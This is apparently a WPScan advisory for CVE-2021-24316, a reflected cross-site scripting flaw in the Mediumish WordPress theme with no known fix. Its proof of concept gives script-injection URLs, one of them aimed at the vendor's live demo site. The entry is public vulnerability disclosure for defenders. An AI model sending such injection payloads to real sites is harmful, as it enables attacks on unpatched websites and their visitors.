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WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

Themes Vulnerabilities

Mediumish <= 1.0.47 - Unauthenticated Reflected Cross-Site Scripting (XSS)

Description

The search feature of the theme does not properly sanitise it's 's' GET parameter before output it back the page, leading to the Cross-SIte Scripting issue.

The vendor has been unresponsive to any form of contact

Proof of Concept

https://example.com/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E

https://www.themepush.com/demo-mediumish/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E 

Affects Themes

mediumishh
No known fix

References

CVE
CVE-2021-24316
URL
https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
URL
https://www.wowthemes.net/themes/mediumish-wordpress/

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

m0ze

Submitter

m0ze

Submitter website
https://m0ze.ru
Submitter twitter
vladm0ze
Verified

Yes

WPVDB ID
57e27de4-58f5-46aa-9b59-809705733b2e

Timeline

Publicly Published

2021-05-16 (about 1 years ago)

Added

2021-05-16 (about 1 years ago)

Last Updated

2021-05-17 (about 1 years ago)

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